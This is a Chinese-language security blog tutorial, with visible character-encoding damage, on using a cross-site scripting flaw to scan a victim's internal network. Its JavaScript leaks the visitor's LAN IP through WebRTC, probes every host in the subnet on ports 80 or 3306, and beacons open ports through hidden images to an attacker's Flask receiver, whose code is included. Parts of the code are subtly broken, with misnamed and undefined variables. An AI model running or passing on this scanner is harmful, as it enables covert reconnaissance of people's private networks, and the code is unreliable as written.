XSS的另一種利用思路
前言
安全測(cè)試人員在測(cè)試XSS漏洞的時(shí)候,用得最多的方式是利用XSS釣魚(yú)攻擊、盜取會(huì)話憑證,挾持會(huì)話。當(dāng)然還有很多其他利用方式,但是卻很少涉及內(nèi)網(wǎng)滲透環(huán)節(jié)。換一種思路,XSS還可以做很多意想不到的事,本文通過(guò)實(shí)踐介紹利用js進(jìn)行內(nèi)網(wǎng)端口掃描的滲透思路。
獲取局域網(wǎng)IP
進(jìn)行內(nèi)網(wǎng)端口掃描首先第一點(diǎn)要獲取內(nèi)網(wǎng)IP,這是最關(guān)鍵的一步,這里有一個(gè)前輩的Demo:
使用的WebRTC技術(shù)獲取當(dāng)前訪問(wèn)者的局域網(wǎng)IP,具體的js實(shí)現(xiàn)如下:
- function getlanip(callback){
- var ip_dups = {};
- var RTCPeerConnection = window.RTCPeerConnection
- || window.mozRTCPeerConnection
- || window.webkitRTCPeerConnection;
- if (!RTCPeerConnection) {
- var iframe = document.createElement('iframe');
- iframe.sandbox = 'allow-same-origin';
- iframe.style.display = 'none';
- document.body.appendChild(iframe);
- var win = iframe.contentWindow;
- winwindow.RTCPeerConnection = win.RTCPeerConnection;
- winwindow.mozRTCPeerConnection = win.mozRTCPeerConnection;
- winwindow.webkitRTCPeerConnection = win.webkitRTCPeerConnection;
- RTCPeerConnection = window.RTCPeerConnection
- || window.mozRTCPeerConnection
- || window.webkitRTCPeerConnection;
- }
- var mediaConstraints = {
- optional: [{RtpDataChannels: true}]
- };
- var servers = undefined;
- if(window.webkitRTCPeerConnection)
- servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
- var pc = new RTCPeerConnection(servers, mediaConstraints);
- pc.onicecandidate = function(ice){
- if(ice.candidate){
- var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/
- var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
- if(ip_dups[ip_addr] === undefined)
- callback(ip_addr);
- ip_dups[ip_addr] = true;}
- };
- pc.createDataChannel("");
- pc.createOffer(function(result){
- pc.setLocalDescription(result, function(){}, function(){});
- }, function(){});
- }
WebRTC
WebRTC,是網(wǎng)頁(yè)實(shí)時(shí)通信(Web Real-Time Communication)的縮寫(xiě),是一個(gè)支持網(wǎng)頁(yè)瀏覽器進(jìn)行實(shí)時(shí)語(yǔ)音對(duì)話或視頻對(duì)話的技術(shù)。WebRTC 實(shí)現(xiàn)了基于網(wǎng)頁(yè)的視頻會(huì)議,標(biāo)準(zhǔn)是 WHATWG 協(xié)議,目的是通過(guò)瀏覽器提供簡(jiǎn)單的 Javascript 就可以做到實(shí)時(shí)通訊。WebRTC 項(xiàng)目的最終目的主要是讓 Web 開(kāi)發(fā)者能夠基于瀏覽器輕易快捷地開(kāi)發(fā)出豐富的實(shí)時(shí)多媒體應(yīng)用,而無(wú)需下載安裝任何插件,Web 開(kāi)發(fā)者也無(wú)需關(guān)注多媒體的數(shù)字信號(hào)處理過(guò)程,只需編寫(xiě)簡(jiǎn)單的 Javascript 程序即可實(shí)現(xiàn),很多瀏覽器包括Firefox Chrome,360極速瀏覽器都已經(jīng)支持WebRTC, 但是Internet Explorer 和 Safari 尚未支持 WebRTC。
JS端口掃描
有了局域網(wǎng)IP,利用sciprt標(biāo)簽加載js函數(shù)執(zhí)行,然后利用html onload事件結(jié)合img標(biāo)簽當(dāng)然可以這里可以使用其他的比如:iframe標(biāo)簽等,把加載成功的IP,端口信息傳回我們的接收端,這里我用Flask簡(jiǎn)單的寫(xiě)了一個(gè)接收端。
- #!/usr/bin/env python3
- #coding:utf-8
- from flask import Flask,request
- app = Flask(__name__)
- @app.route(rule='/')
- def index():
- args = request.args
- for k,v in args.items():
- print(k,v)
- return str()
- if __name__ == '__main__':
- app.run(debug=True)
下面是一個(gè)簡(jiǎn)單的掃描函數(shù)和數(shù)據(jù)傳回函數(shù)。
- //數(shù)據(jù)傳回
- var TagName = document.getElementsByTagName("body")[0];
- function post_data(ip,port){
- var img = document.createElement("img");
- img.setAttribute("src","http://127.0.0.1:5000/?ip=" + ip + "&openport=" + port);
- img.setAttribute("style","display:none")
- TagName.appendChild(img);
- }
- //簡(jiǎn)單端口掃描
- getlanip(function(ip){
- //判斷內(nèi)網(wǎng)IP
- if (ip.match(/^(192.168.|169.254.|10.|172.(1[6-9]|2d|3[01]))/)){
- ipip = ip.split(".");
- ip.pop();
- ipip = ip.join(".");
- for(var i = 1;i<=255;i++){
- var script = document.createElement("script");
- var ipip_url = ip + "." + i + ":80";//3306
- script.setAttribute("src","http://" + ip_url);
- script.setAttribute("onload","post_data('" + ip + "." + i + "','80')");//3306
- TagName.appendChild(script);
- }
- }
- });
隨便一個(gè)html引入js文件,加載效果圖。
在服務(wù)端成功的接收到了開(kāi)放80端口的ip。
當(dāng)然其他端口也是可以的只要支持http協(xié)議訪問(wèn)的比如3306。
探測(cè)到開(kāi)放3306端口的主機(jī),這樣實(shí)現(xiàn)了一個(gè)簡(jiǎn)單的局域網(wǎng)ip端口的功能。
結(jié)語(yǔ)
當(dāng)懷疑某處存在xss漏洞而我們又想知道內(nèi)網(wǎng)具體的ip端口情況時(shí),我們就可以利用這種方式實(shí)現(xiàn)局域網(wǎng)端口探測(cè),有點(diǎn)類似于SSRF,但是通過(guò)XSS也同樣可以實(shí)現(xiàn)。